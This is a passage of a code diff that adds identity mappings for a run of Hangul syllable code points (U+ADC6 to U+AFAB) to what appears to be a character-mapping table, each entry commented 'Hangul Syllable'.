+ ["\uADC6", "\uADC6"], /* Hangul Syllable */
+ ["\uADC7", "\uADC7"], /* Hangul Syllable */
+ ["\uADC8", "\uADC8"], /* Hangul Syllable */
+ ["\uADC9", "\uADC9"], /* Hangul Syllable */
+ ["\uADCA", "\uADCA"], /* Hangul Syllable */
+ ["\uADCB", "\uADCB"], /* Hangul Syllable */
+ ["\uADCC", "\uADCC"], /* Hangul Syllable */
+ ["\uADCD", "\uADCD"], /* Hangul Syllable */
+ ["\uADCE", "\uADCE"], /* Hangul Syllable */
+ ["\uADCF", "\uADCF"], /* Hangul Syllable */
+ ["\uADD0", "\uADD0"], /* Hangul Syllable */
+ ["\uADD1", "\uADD1"], /* Hangul Syllable */
+ ["\uADD2", "\uADD2"], /* Hangul Syllable */
+ ["\uADD3", "\uADD3"], /* Hangul Syllable */
+ ["\uADD4", "\uADD4"], /* Hangul Syllable */
+ ["\uADD5", "\uADD5"], /* Hangul Syllable */
+ ["\uADD6", "\uADD6"], /* Hangul Syllable */
+ ["\uADD7", "\uADD7"], /* Hangul Syllable */
+ ["\uADD8", "\uADD8"], /* Hangul Syllable */
+ ["\uADD9", "\uADD9"], /* Hangul Syllable */
+ ["\uADDA", "\uADDA"], /* Hangul Syllable */
+ ["\uADDB", "\uADDB"], /* Hangul Syllable */
+ ["\uADDC", "\uADDC"], /* Hangul Syllable */
+ ["\uADDD", "\uADDD"], /* Hangul Syllable */
+ ["\uADDE", "\uADDE"], /* Hangul Syllable */
+ ["\uADDF", "\uADDF"], /* Hangul Syllable */
+ ["\uADE0", "\uADE0"], /* Hangul Syllable */
+ ["\uADE1", "\uADE1"], /* Hangul Syllable */
+ ["\uADE2", "\uADE2"], /* Hangul Syllable */
+ ["\uADE3", "\uADE3"], /* Hangul Syllable */
+ ["\uADE4", "\uADE4"], /* Hangul Syllable */
+ ["\uADE5", "\uADE5"], /* Hangul Syllable */
+ ["\uADE6", "\uADE6"], /* Hangul Syllable */
+ ["\uADE7", "\uADE7"], /* Hangul Syllable */
+ ["\uADE8", "\uADE8"], /* Hangul Syllable */
+ ["\uADE9", "\uADE9"], /* Hangul Syllable */
+ ["\uADEA", "\uADEA"], /* Hangul Syllable */
+ ["\uADEB", "\uADEB"], /* Hangul Syllable */
+ ["\uADEC", "\uADEC"], /* Hangul Syllable */
+ ["\uADED", "\uADED"], /* Hangul Syllable */
+ ["\uADEE", "\uADEE"], /* Hangul Syllable */
+ ["\uADEF", "\uADEF"], /* Hangul Syllable */
+ ["\uADF0", "\uADF0"], /* Hangul Syllable */
+ ["\uADF1", "\uADF1"], /* Hangul Syllable */
+ ["\uADF2", "\uADF2"], /* Hangul Syllable */
+ ["\uADF3", "\uADF3"], /* Hangul Syllable */
+ ["\uADF4", "\uADF4"], /* Hangul Syllable */
+ ["\uADF5", "\uADF5"], /* Hangul Syllable */
+ ["\uADF6", "\uADF6"], /* Hangul Syllable */
+ ["\uADF7", "\uADF7"], /* Hangul Syllable */
+ ["\uADF8", "\uADF8"], /* Hangul Syllable */
+ ["\uADF9", "\uADF9"], /* Hangul Syllable */
+ ["\uADFA", "\uADFA"], /* Hangul Syllable */
+ ["\uADFB", "\uADFB"], /* Hangul Syllable */
+ ["\uADFC", "\uADFC"], /* Hangul Syllable */
+ ["\uADFD", "\uADFD"], /* Hangul Syllable */
+ ["\uADFE", "\uADFE"], /* Hangul Syllable */
+ ["\uADFF", "\uADFF"], /* Hangul Syllable */
+ ["\uAE00", "\uAE00"], /* Hangul Syllable */
+ ["\uAE01", "\uAE01"], /* Hangul Syllable */
+ ["\uAE02", "\uAE02"], /* Hangul Syllable */
+ ["\uAE03", "\uAE03"], /* Hangul Syllable */
+ ["\uAE04", "\uAE04"], /* Hangul Syllable */
+ ["\uAE05", "\uAE05"], /* Hangul Syllable */
+ ["\uAE06", "\uAE06"], /* Hangul Syllable */
+ ["\uAE07", "\uAE07"], /* Hangul Syllable */
+ ["\uAE08", "\uAE08"], /* Hangul Syllable */
+ ["\uAE09", "\uAE09"], /* Hangul Syllable */
+ ["\uAE0A", "\uAE0A"], /* Hangul Syllable */
+ ["\uAE0B", "\uAE0B"], /* Hangul Syllable */
+ ["\uAE0C", "\uAE0C"], /* Hangul Syllable */
+ ["\uAE0D", "\uAE0D"], /* Hangul Syllable */
+ ["\uAE0E", "\uAE0E"], /* Hangul Syllable */
+ ["\uAE0F", "\uAE0F"], /* Hangul Syllable */
+ ["\uAE10", "\uAE10"], /* Hangul Syllable */
+ ["\uAE11", "\uAE11"], /* Hangul Syllable */
+ ["\uAE12", "\uAE12"], /* Hangul Syllable */
+ ["\uAE13", "\uAE13"], /* Hangul Syllable */
+ ["\uAE14", "\uAE14"], /* Hangul Syllable */
+ ["\uAE15", "\uAE15"], /* Hangul Syllable */
+ ["\uAE16", "\uAE16"], /* Hangul Syllable */
+ ["\uAE17", "\uAE17"], /* Hangul Syllable */
+ ["\uAE18", "\uAE18"], /* Hangul Syllable */
+ ["\uAE19", "\uAE19"], /* Hangul Syllable */
+ ["\uAE1A", "\uAE1A"], /* Hangul Syllable */
+ ["\uAE1B", "\uAE1B"], /* Hangul Syllable */
+ ["\uAE1C", "\uAE1C"], /* Hangul Syllable */
+ ["\uAE1D", "\uAE1D"], /* Hangul Syllable */
+ ["\uAE1E", "\uAE1E"], /* Hangul Syllable */
+ ["\uAE1F", "\uAE1F"], /* Hangul Syllable */
+ ["\uAE20", "\uAE20"], /* Hangul Syllable */
+ ["\uAE21", "\uAE21"], /* Hangul Syllable */
+ ["\uAE22", "\uAE22"], /* Hangul Syllable */
+ ["\uAE23", "\uAE23"], /* Hangul Syllable */
+ ["\uAE24", "\uAE24"], /* Hangul Syllable */
+ ["\uAE25", "\uAE25"], /* Hangul Syllable */
+ ["\uAE26", "\uAE26"], /* Hangul Syllable */
+ ["\uAE27", "\uAE27"], /* Hangul Syllable */
+ ["\uAE28", "\uAE28"], /* Hangul Syllable */
+ ["\uAE29", "\uAE29"], /* Hangul Syllable */
+ ["\uAE2A", "\uAE2A"], /* Hangul Syllable */
+ ["\uAE2B", "\uAE2B"], /* Hangul Syllable */
+ ["\uAE2C", "\uAE2C"], /* Hangul Syllable */
+ ["\uAE2D", "\uAE2D"], /* Hangul Syllable */
+ ["\uAE2E", "\uAE2E"], /* Hangul Syllable */
+ ["\uAE2F", "\uAE2F"], /* Hangul Syllable */
+ ["\uAE30", "\uAE30"], /* Hangul Syllable */
+ ["\uAE31", "\uAE31"], /* Hangul Syllable */
+ ["\uAE32", "\uAE32"], /* Hangul Syllable */
+ ["\uAE33", "\uAE33"], /* Hangul Syllable */
+ ["\uAE34", "\uAE34"], /* Hangul Syllable */
+ ["\uAE35", "\uAE35"], /* Hangul Syllable */
+ ["\uAE36", "\uAE36"], /* Hangul Syllable */
+ ["\uAE37", "\uAE37"], /* Hangul Syllable */
+ ["\uAE38", "\uAE38"], /* Hangul Syllable */
+ ["\uAE39", "\uAE39"], /* Hangul Syllable */
+ ["\uAE3A", "\uAE3A"], /* Hangul Syllable */
+ ["\uAE3B", "\uAE3B"], /* Hangul Syllable */
+ ["\uAE3C", "\uAE3C"], /* Hangul Syllable */
+ ["\uAE3D", "\uAE3D"], /* Hangul Syllable */
+ ["\uAE3E", "\uAE3E"], /* Hangul Syllable */
+ ["\uAE3F", "\uAE3F"], /* Hangul Syllable */
+ ["\uAE40", "\uAE40"], /* Hangul Syllable */
+ ["\uAE41", "\uAE41"], /* Hangul Syllable */
+ ["\uAE42", "\uAE42"], /* Hangul Syllable */
+ ["\uAE43", "\uAE43"], /* Hangul Syllable */
+ ["\uAE44", "\uAE44"], /* Hangul Syllable */
+ ["\uAE45", "\uAE45"], /* Hangul Syllable */
+ ["\uAE46", "\uAE46"], /* Hangul Syllable */
+ ["\uAE47", "\uAE47"], /* Hangul Syllable */
+ ["\uAE48", "\uAE48"], /* Hangul Syllable */
+ ["\uAE49", "\uAE49"], /* Hangul Syllable */
+ ["\uAE4A", "\uAE4A"], /* Hangul Syllable */
+ ["\uAE4B", "\uAE4B"], /* Hangul Syllable */
+ ["\uAE4C", "\uAE4C"], /* Hangul Syllable */
+ ["\uAE4D", "\uAE4D"], /* Hangul Syllable */
+ ["\uAE4E", "\uAE4E"], /* Hangul Syllable */
+ ["\uAE4F", "\uAE4F"], /* Hangul Syllable */
+ ["\uAE50", "\uAE50"], /* Hangul Syllable */
+ ["\uAE51", "\uAE51"], /* Hangul Syllable */
+ ["\uAE52", "\uAE52"], /* Hangul Syllable */
+ ["\uAE53", "\uAE53"], /* Hangul Syllable */
+ ["\uAE54", "\uAE54"], /* Hangul Syllable */
+ ["\uAE55", "\uAE55"], /* Hangul Syllable */
+ ["\uAE56", "\uAE56"], /* Hangul Syllable */
+ ["\uAE57", "\uAE57"], /* Hangul Syllable */
+ ["\uAE58", "\uAE58"], /* Hangul Syllable */
+ ["\uAE59", "\uAE59"], /* Hangul Syllable */
+ ["\uAE5A", "\uAE5A"], /* Hangul Syllable */
+ ["\uAE5B", "\uAE5B"], /* Hangul Syllable */
+ ["\uAE5C", "\uAE5C"], /* Hangul Syllable */
+ ["\uAE5D", "\uAE5D"], /* Hangul Syllable */
+ ["\uAE5E", "\uAE5E"], /* Hangul Syllable */
+ ["\uAE5F", "\uAE5F"], /* Hangul Syllable */
+ ["\uAE60", "\uAE60"], /* Hangul Syllable */
+ ["\uAE61", "\uAE61"], /* Hangul Syllable */
+ ["\uAE62", "\uAE62"], /* Hangul Syllable */
+ ["\uAE63", "\uAE63"], /* Hangul Syllable */
+ ["\uAE64", "\uAE64"], /* Hangul Syllable */
+ ["\uAE65", "\uAE65"], /* Hangul Syllable */
+ ["\uAE66", "\uAE66"], /* Hangul Syllable */
+ ["\uAE67", "\uAE67"], /* Hangul Syllable */
+ ["\uAE68", "\uAE68"], /* Hangul Syllable */
+ ["\uAE69", "\uAE69"], /* Hangul Syllable */
+ ["\uAE6A", "\uAE6A"], /* Hangul Syllable */
+ ["\uAE6B", "\uAE6B"], /* Hangul Syllable */
+ ["\uAE6C", "\uAE6C"], /* Hangul Syllable */
+ ["\uAE6D", "\uAE6D"], /* Hangul Syllable */
+ ["\uAE6E", "\uAE6E"], /* Hangul Syllable */
+ ["\uAE6F", "\uAE6F"], /* Hangul Syllable */
+ ["\uAE70", "\uAE70"], /* Hangul Syllable */
+ ["\uAE71", "\uAE71"], /* Hangul Syllable */
+ ["\uAE72", "\uAE72"], /* Hangul Syllable */
+ ["\uAE73", "\uAE73"], /* Hangul Syllable */
+ ["\uAE74", "\uAE74"], /* Hangul Syllable */
+ ["\uAE75", "\uAE75"], /* Hangul Syllable */
+ ["\uAE76", "\uAE76"], /* Hangul Syllable */
+ ["\uAE77", "\uAE77"], /* Hangul Syllable */
+ ["\uAE78", "\uAE78"], /* Hangul Syllable */
+ ["\uAE79", "\uAE79"], /* Hangul Syllable */
+ ["\uAE7A", "\uAE7A"], /* Hangul Syllable */
+ ["\uAE7B", "\uAE7B"], /* Hangul Syllable */
+ ["\uAE7C", "\uAE7C"], /* Hangul Syllable */
+ ["\uAE7D", "\uAE7D"], /* Hangul Syllable */
+ ["\uAE7E", "\uAE7E"], /* Hangul Syllable */
+ ["\uAE7F", "\uAE7F"], /* Hangul Syllable */
+ ["\uAE80", "\uAE80"], /* Hangul Syllable */
+ ["\uAE81", "\uAE81"], /* Hangul Syllable */
+ ["\uAE82", "\uAE82"], /* Hangul Syllable */
+ ["\uAE83", "\uAE83"], /* Hangul Syllable */
+ ["\uAE84", "\uAE84"], /* Hangul Syllable */
+ ["\uAE85", "\uAE85"], /* Hangul Syllable */
+ ["\uAE86", "\uAE86"], /* Hangul Syllable */
+ ["\uAE87", "\uAE87"], /* Hangul Syllable */
+ ["\uAE88", "\uAE88"], /* Hangul Syllable */
+ ["\uAE89", "\uAE89"], /* Hangul Syllable */
+ ["\uAE8A", "\uAE8A"], /* Hangul Syllable */
+ ["\uAE8B", "\uAE8B"], /* Hangul Syllable */
+ ["\uAE8C", "\uAE8C"], /* Hangul Syllable */
+ ["\uAE8D", "\uAE8D"], /* Hangul Syllable */
+ ["\uAE8E", "\uAE8E"], /* Hangul Syllable */
+ ["\uAE8F", "\uAE8F"], /* Hangul Syllable */
+ ["\uAE90", "\uAE90"], /* Hangul Syllable */
+ ["\uAE91", "\uAE91"], /* Hangul Syllable */
+ ["\uAE92", "\uAE92"], /* Hangul Syllable */
+ ["\uAE93", "\uAE93"], /* Hangul Syllable */
+ ["\uAE94", "\uAE94"], /* Hangul Syllable */
+ ["\uAE95", "\uAE95"], /* Hangul Syllable */
+ ["\uAE96", "\uAE96"], /* Hangul Syllable */
+ ["\uAE97", "\uAE97"], /* Hangul Syllable */
+ ["\uAE98", "\uAE98"], /* Hangul Syllable */
+ ["\uAE99", "\uAE99"], /* Hangul Syllable */
+ ["\uAE9A", "\uAE9A"], /* Hangul Syllable */
+ ["\uAE9B", "\uAE9B"], /* Hangul Syllable */
+ ["\uAE9C", "\uAE9C"], /* Hangul Syllable */
+ ["\uAE9D", "\uAE9D"], /* Hangul Syllable */
+ ["\uAE9E", "\uAE9E"], /* Hangul Syllable */
+ ["\uAE9F", "\uAE9F"], /* Hangul Syllable */
+ ["\uAEA0", "\uAEA0"], /* Hangul Syllable */
+ ["\uAEA1", "\uAEA1"], /* Hangul Syllable */
+ ["\uAEA2", "\uAEA2"], /* Hangul Syllable */
+ ["\uAEA3", "\uAEA3"], /* Hangul Syllable */
+ ["\uAEA4", "\uAEA4"], /* Hangul Syllable */
+ ["\uAEA5", "\uAEA5"], /* Hangul Syllable */
+ ["\uAEA6", "\uAEA6"], /* Hangul Syllable */
+ ["\uAEA7", "\uAEA7"], /* Hangul Syllable */
+ ["\uAEA8", "\uAEA8"], /* Hangul Syllable */
+ ["\uAEA9", "\uAEA9"], /* Hangul Syllable */
+ ["\uAEAA", "\uAEAA"], /* Hangul Syllable */
+ ["\uAEAB", "\uAEAB"], /* Hangul Syllable */
+ ["\uAEAC", "\uAEAC"], /* Hangul Syllable */
+ ["\uAEAD", "\uAEAD"], /* Hangul Syllable */
+ ["\uAEAE", "\uAEAE"], /* Hangul Syllable */
+ ["\uAEAF", "\uAEAF"], /* Hangul Syllable */
+ ["\uAEB0", "\uAEB0"], /* Hangul Syllable */
+ ["\uAEB1", "\uAEB1"], /* Hangul Syllable */
+ ["\uAEB2", "\uAEB2"], /* Hangul Syllable */
+ ["\uAEB3", "\uAEB3"], /* Hangul Syllable */
+ ["\uAEB4", "\uAEB4"], /* Hangul Syllable */
+ ["\uAEB5", "\uAEB5"], /* Hangul Syllable */
+ ["\uAEB6", "\uAEB6"], /* Hangul Syllable */
+ ["\uAEB7", "\uAEB7"], /* Hangul Syllable */
+ ["\uAEB8", "\uAEB8"], /* Hangul Syllable */
+ ["\uAEB9", "\uAEB9"], /* Hangul Syllable */
+ ["\uAEBA", "\uAEBA"], /* Hangul Syllable */
+ ["\uAEBB", "\uAEBB"], /* Hangul Syllable */
+ ["\uAEBC", "\uAEBC"], /* Hangul Syllable */
+ ["\uAEBD", "\uAEBD"], /* Hangul Syllable */
+ ["\uAEBE", "\uAEBE"], /* Hangul Syllable */
+ ["\uAEBF", "\uAEBF"], /* Hangul Syllable */
+ ["\uAEC0", "\uAEC0"], /* Hangul Syllable */
+ ["\uAEC1", "\uAEC1"], /* Hangul Syllable */
+ ["\uAEC2", "\uAEC2"], /* Hangul Syllable */
+ ["\uAEC3", "\uAEC3"], /* Hangul Syllable */
+ ["\uAEC4", "\uAEC4"], /* Hangul Syllable */
+ ["\uAEC5", "\uAEC5"], /* Hangul Syllable */
+ ["\uAEC6", "\uAEC6"], /* Hangul Syllable */
+ ["\uAEC7", "\uAEC7"], /* Hangul Syllable */
+ ["\uAEC8", "\uAEC8"], /* Hangul Syllable */
+ ["\uAEC9", "\uAEC9"], /* Hangul Syllable */
+ ["\uAECA", "\uAECA"], /* Hangul Syllable */
+ ["\uAECB", "\uAECB"], /* Hangul Syllable */
+ ["\uAECC", "\uAECC"], /* Hangul Syllable */
+ ["\uAECD", "\uAECD"], /* Hangul Syllable */
+ ["\uAECE", "\uAECE"], /* Hangul Syllable */
+ ["\uAECF", "\uAECF"], /* Hangul Syllable */
+ ["\uAED0", "\uAED0"], /* Hangul Syllable */
+ ["\uAED1", "\uAED1"], /* Hangul Syllable */
+ ["\uAED2", "\uAED2"], /* Hangul Syllable */
+ ["\uAED3", "\uAED3"], /* Hangul Syllable */
+ ["\uAED4", "\uAED4"], /* Hangul Syllable */
+ ["\uAED5", "\uAED5"], /* Hangul Syllable */
+ ["\uAED6", "\uAED6"], /* Hangul Syllable */
+ ["\uAED7", "\uAED7"], /* Hangul Syllable */
+ ["\uAED8", "\uAED8"], /* Hangul Syllable */
+ ["\uAED9", "\uAED9"], /* Hangul Syllable */
+ ["\uAEDA", "\uAEDA"], /* Hangul Syllable */
+ ["\uAEDB", "\uAEDB"], /* Hangul Syllable */
+ ["\uAEDC", "\uAEDC"], /* Hangul Syllable */
+ ["\uAEDD", "\uAEDD"], /* Hangul Syllable */
+ ["\uAEDE", "\uAEDE"], /* Hangul Syllable */
+ ["\uAEDF", "\uAEDF"], /* Hangul Syllable */
+ ["\uAEE0", "\uAEE0"], /* Hangul Syllable */
+ ["\uAEE1", "\uAEE1"], /* Hangul Syllable */
+ ["\uAEE2", "\uAEE2"], /* Hangul Syllable */
+ ["\uAEE3", "\uAEE3"], /* Hangul Syllable */
+ ["\uAEE4", "\uAEE4"], /* Hangul Syllable */
+ ["\uAEE5", "\uAEE5"], /* Hangul Syllable */
+ ["\uAEE6", "\uAEE6"], /* Hangul Syllable */
+ ["\uAEE7", "\uAEE7"], /* Hangul Syllable */
+ ["\uAEE8", "\uAEE8"], /* Hangul Syllable */
+ ["\uAEE9", "\uAEE9"], /* Hangul Syllable */
+ ["\uAEEA", "\uAEEA"], /* Hangul Syllable */
+ ["\uAEEB", "\uAEEB"], /* Hangul Syllable */
+ ["\uAEEC", "\uAEEC"], /* Hangul Syllable */
+ ["\uAEED", "\uAEED"], /* Hangul Syllable */
+ ["\uAEEE", "\uAEEE"], /* Hangul Syllable */
+ ["\uAEEF", "\uAEEF"], /* Hangul Syllable */
+ ["\uAEF0", "\uAEF0"], /* Hangul Syllable */
+ ["\uAEF1", "\uAEF1"], /* Hangul Syllable */
+ ["\uAEF2", "\uAEF2"], /* Hangul Syllable */
+ ["\uAEF3", "\uAEF3"], /* Hangul Syllable */
+ ["\uAEF4", "\uAEF4"], /* Hangul Syllable */
+ ["\uAEF5", "\uAEF5"], /* Hangul Syllable */
+ ["\uAEF6", "\uAEF6"], /* Hangul Syllable */
+ ["\uAEF7", "\uAEF7"], /* Hangul Syllable */
+ ["\uAEF8", "\uAEF8"], /* Hangul Syllable */
+ ["\uAEF9", "\uAEF9"], /* Hangul Syllable */
+ ["\uAEFA", "\uAEFA"], /* Hangul Syllable */
+ ["\uAEFB", "\uAEFB"], /* Hangul Syllable */
+ ["\uAEFC", "\uAEFC"], /* Hangul Syllable */
+ ["\uAEFD", "\uAEFD"], /* Hangul Syllable */
+ ["\uAEFE", "\uAEFE"], /* Hangul Syllable */
+ ["\uAEFF", "\uAEFF"], /* Hangul Syllable */
+ ["\uAF00", "\uAF00"], /* Hangul Syllable */
+ ["\uAF01", "\uAF01"], /* Hangul Syllable */
+ ["\uAF02", "\uAF02"], /* Hangul Syllable */
+ ["\uAF03", "\uAF03"], /* Hangul Syllable */
+ ["\uAF04", "\uAF04"], /* Hangul Syllable */
+ ["\uAF05", "\uAF05"], /* Hangul Syllable */
+ ["\uAF06", "\uAF06"], /* Hangul Syllable */
+ ["\uAF07", "\uAF07"], /* Hangul Syllable */
+ ["\uAF08", "\uAF08"], /* Hangul Syllable */
+ ["\uAF09", "\uAF09"], /* Hangul Syllable */
+ ["\uAF0A", "\uAF0A"], /* Hangul Syllable */
+ ["\uAF0B", "\uAF0B"], /* Hangul Syllable */
+ ["\uAF0C", "\uAF0C"], /* Hangul Syllable */
+ ["\uAF0D", "\uAF0D"], /* Hangul Syllable */
+ ["\uAF0E", "\uAF0E"], /* Hangul Syllable */
+ ["\uAF0F", "\uAF0F"], /* Hangul Syllable */
+ ["\uAF10", "\uAF10"], /* Hangul Syllable */
+ ["\uAF11", "\uAF11"], /* Hangul Syllable */
+ ["\uAF12", "\uAF12"], /* Hangul Syllable */
+ ["\uAF13", "\uAF13"], /* Hangul Syllable */
+ ["\uAF14", "\uAF14"], /* Hangul Syllable */
+ ["\uAF15", "\uAF15"], /* Hangul Syllable */
+ ["\uAF16", "\uAF16"], /* Hangul Syllable */
+ ["\uAF17", "\uAF17"], /* Hangul Syllable */
+ ["\uAF18", "\uAF18"], /* Hangul Syllable */
+ ["\uAF19", "\uAF19"], /* Hangul Syllable */
+ ["\uAF1A", "\uAF1A"], /* Hangul Syllable */
+ ["\uAF1B", "\uAF1B"], /* Hangul Syllable */
+ ["\uAF1C", "\uAF1C"], /* Hangul Syllable */
+ ["\uAF1D", "\uAF1D"], /* Hangul Syllable */
+ ["\uAF1E", "\uAF1E"], /* Hangul Syllable */
+ ["\uAF1F", "\uAF1F"], /* Hangul Syllable */
+ ["\uAF20", "\uAF20"], /* Hangul Syllable */
+ ["\uAF21", "\uAF21"], /* Hangul Syllable */
+ ["\uAF22", "\uAF22"], /* Hangul Syllable */
+ ["\uAF23", "\uAF23"], /* Hangul Syllable */
+ ["\uAF24", "\uAF24"], /* Hangul Syllable */
+ ["\uAF25", "\uAF25"], /* Hangul Syllable */
+ ["\uAF26", "\uAF26"], /* Hangul Syllable */
+ ["\uAF27", "\uAF27"], /* Hangul Syllable */
+ ["\uAF28", "\uAF28"], /* Hangul Syllable */
+ ["\uAF29", "\uAF29"], /* Hangul Syllable */
+ ["\uAF2A", "\uAF2A"], /* Hangul Syllable */
+ ["\uAF2B", "\uAF2B"], /* Hangul Syllable */
+ ["\uAF2C", "\uAF2C"], /* Hangul Syllable */
+ ["\uAF2D", "\uAF2D"], /* Hangul Syllable */
+ ["\uAF2E", "\uAF2E"], /* Hangul Syllable */
+ ["\uAF2F", "\uAF2F"], /* Hangul Syllable */
+ ["\uAF30", "\uAF30"], /* Hangul Syllable */
+ ["\uAF31", "\uAF31"], /* Hangul Syllable */
+ ["\uAF32", "\uAF32"], /* Hangul Syllable */
+ ["\uAF33", "\uAF33"], /* Hangul Syllable */
+ ["\uAF34", "\uAF34"], /* Hangul Syllable */
+ ["\uAF35", "\uAF35"], /* Hangul Syllable */
+ ["\uAF36", "\uAF36"], /* Hangul Syllable */
+ ["\uAF37", "\uAF37"], /* Hangul Syllable */
+ ["\uAF38", "\uAF38"], /* Hangul Syllable */
+ ["\uAF39", "\uAF39"], /* Hangul Syllable */
+ ["\uAF3A", "\uAF3A"], /* Hangul Syllable */
+ ["\uAF3B", "\uAF3B"], /* Hangul Syllable */
+ ["\uAF3C", "\uAF3C"], /* Hangul Syllable */
+ ["\uAF3D", "\uAF3D"], /* Hangul Syllable */
+ ["\uAF3E", "\uAF3E"], /* Hangul Syllable */
+ ["\uAF3F", "\uAF3F"], /* Hangul Syllable */
+ ["\uAF40", "\uAF40"], /* Hangul Syllable */
+ ["\uAF41", "\uAF41"], /* Hangul Syllable */
+ ["\uAF42", "\uAF42"], /* Hangul Syllable */
+ ["\uAF43", "\uAF43"], /* Hangul Syllable */
+ ["\uAF44", "\uAF44"], /* Hangul Syllable */
+ ["\uAF45", "\uAF45"], /* Hangul Syllable */
+ ["\uAF46", "\uAF46"], /* Hangul Syllable */
+ ["\uAF47", "\uAF47"], /* Hangul Syllable */
+ ["\uAF48", "\uAF48"], /* Hangul Syllable */
+ ["\uAF49", "\uAF49"], /* Hangul Syllable */
+ ["\uAF4A", "\uAF4A"], /* Hangul Syllable */
+ ["\uAF4B", "\uAF4B"], /* Hangul Syllable */
+ ["\uAF4C", "\uAF4C"], /* Hangul Syllable */
+ ["\uAF4D", "\uAF4D"], /* Hangul Syllable */
+ ["\uAF4E", "\uAF4E"], /* Hangul Syllable */
+ ["\uAF4F", "\uAF4F"], /* Hangul Syllable */
+ ["\uAF50", "\uAF50"], /* Hangul Syllable */
+ ["\uAF51", "\uAF51"], /* Hangul Syllable */
+ ["\uAF52", "\uAF52"], /* Hangul Syllable */
+ ["\uAF53", "\uAF53"], /* Hangul Syllable */
+ ["\uAF54", "\uAF54"], /* Hangul Syllable */
+ ["\uAF55", "\uAF55"], /* Hangul Syllable */
+ ["\uAF56", "\uAF56"], /* Hangul Syllable */
+ ["\uAF57", "\uAF57"], /* Hangul Syllable */
+ ["\uAF58", "\uAF58"], /* Hangul Syllable */
+ ["\uAF59", "\uAF59"], /* Hangul Syllable */
+ ["\uAF5A", "\uAF5A"], /* Hangul Syllable */
+ ["\uAF5B", "\uAF5B"], /* Hangul Syllable */
+ ["\uAF5C", "\uAF5C"], /* Hangul Syllable */
+ ["\uAF5D", "\uAF5D"], /* Hangul Syllable */
+ ["\uAF5E", "\uAF5E"], /* Hangul Syllable */
+ ["\uAF5F", "\uAF5F"], /* Hangul Syllable */
+ ["\uAF60", "\uAF60"], /* Hangul Syllable */
+ ["\uAF61", "\uAF61"], /* Hangul Syllable */
+ ["\uAF62", "\uAF62"], /* Hangul Syllable */
+ ["\uAF63", "\uAF63"], /* Hangul Syllable */
+ ["\uAF64", "\uAF64"], /* Hangul Syllable */
+ ["\uAF65", "\uAF65"], /* Hangul Syllable */
+ ["\uAF66", "\uAF66"], /* Hangul Syllable */
+ ["\uAF67", "\uAF67"], /* Hangul Syllable */
+ ["\uAF68", "\uAF68"], /* Hangul Syllable */
+ ["\uAF69", "\uAF69"], /* Hangul Syllable */
+ ["\uAF6A", "\uAF6A"], /* Hangul Syllable */
+ ["\uAF6B", "\uAF6B"], /* Hangul Syllable */
+ ["\uAF6C", "\uAF6C"], /* Hangul Syllable */
+ ["\uAF6D", "\uAF6D"], /* Hangul Syllable */
+ ["\uAF6E", "\uAF6E"], /* Hangul Syllable */
+ ["\uAF6F", "\uAF6F"], /* Hangul Syllable */
+ ["\uAF70", "\uAF70"], /* Hangul Syllable */
+ ["\uAF71", "\uAF71"], /* Hangul Syllable */
+ ["\uAF72", "\uAF72"], /* Hangul Syllable */
+ ["\uAF73", "\uAF73"], /* Hangul Syllable */
+ ["\uAF74", "\uAF74"], /* Hangul Syllable */
+ ["\uAF75", "\uAF75"], /* Hangul Syllable */
+ ["\uAF76", "\uAF76"], /* Hangul Syllable */
+ ["\uAF77", "\uAF77"], /* Hangul Syllable */
+ ["\uAF78", "\uAF78"], /* Hangul Syllable */
+ ["\uAF79", "\uAF79"], /* Hangul Syllable */
+ ["\uAF7A", "\uAF7A"], /* Hangul Syllable */
+ ["\uAF7B", "\uAF7B"], /* Hangul Syllable */
+ ["\uAF7C", "\uAF7C"], /* Hangul Syllable */
+ ["\uAF7D", "\uAF7D"], /* Hangul Syllable */
+ ["\uAF7E", "\uAF7E"], /* Hangul Syllable */
+ ["\uAF7F", "\uAF7F"], /* Hangul Syllable */
+ ["\uAF80", "\uAF80"], /* Hangul Syllable */
+ ["\uAF81", "\uAF81"], /* Hangul Syllable */
+ ["\uAF82", "\uAF82"], /* Hangul Syllable */
+ ["\uAF83", "\uAF83"], /* Hangul Syllable */
+ ["\uAF84", "\uAF84"], /* Hangul Syllable */
+ ["\uAF85", "\uAF85"], /* Hangul Syllable */
+ ["\uAF86", "\uAF86"], /* Hangul Syllable */
+ ["\uAF87", "\uAF87"], /* Hangul Syllable */
+ ["\uAF88", "\uAF88"], /* Hangul Syllable */
+ ["\uAF89", "\uAF89"], /* Hangul Syllable */
+ ["\uAF8A", "\uAF8A"], /* Hangul Syllable */
+ ["\uAF8B", "\uAF8B"], /* Hangul Syllable */
+ ["\uAF8C", "\uAF8C"], /* Hangul Syllable */
+ ["\uAF8D", "\uAF8D"], /* Hangul Syllable */
+ ["\uAF8E", "\uAF8E"], /* Hangul Syllable */
+ ["\uAF8F", "\uAF8F"], /* Hangul Syllable */
+ ["\uAF90", "\uAF90"], /* Hangul Syllable */
+ ["\uAF91", "\uAF91"], /* Hangul Syllable */
+ ["\uAF92", "\uAF92"], /* Hangul Syllable */
+ ["\uAF93", "\uAF93"], /* Hangul Syllable */
+ ["\uAF94", "\uAF94"], /* Hangul Syllable */
+ ["\uAF95", "\uAF95"], /* Hangul Syllable */
+ ["\uAF96", "\uAF96"], /* Hangul Syllable */
+ ["\uAF97", "\uAF97"], /* Hangul Syllable */
+ ["\uAF98", "\uAF98"], /* Hangul Syllable */
+ ["\uAF99", "\uAF99"], /* Hangul Syllable */
+ ["\uAF9A", "\uAF9A"], /* Hangul Syllable */
+ ["\uAF9B", "\uAF9B"], /* Hangul Syllable */
+ ["\uAF9C", "\uAF9C"], /* Hangul Syllable */
+ ["\uAF9D", "\uAF9D"], /* Hangul Syllable */
+ ["\uAF9E", "\uAF9E"], /* Hangul Syllable */
+ ["\uAF9F", "\uAF9F"], /* Hangul Syllable */
+ ["\uAFA0", "\uAFA0"], /* Hangul Syllable */
+ ["\uAFA1", "\uAFA1"], /* Hangul Syllable */
+ ["\uAFA2", "\uAFA2"], /* Hangul Syllable */
+ ["\uAFA3", "\uAFA3"], /* Hangul Syllable */
+ ["\uAFA4", "\uAFA4"], /* Hangul Syllable */
+ ["\uAFA5", "\uAFA5"], /* Hangul Syllable */
+ ["\uAFA6", "\uAFA6"], /* Hangul Syllable */
+ ["\uAFA7", "\uAFA7"], /* Hangul Syllable */
+ ["\uAFA8", "\uAFA8"], /* Hangul Syllable */
+ ["\uAFA9", "\uAFA9"], /* Hangul Syllable */
+ ["\uAFAA", "\uAFAA"], /* Hangul Syllable */
+ ["\uAFAB", "\uAFAB"], /* Hangul Syllable */
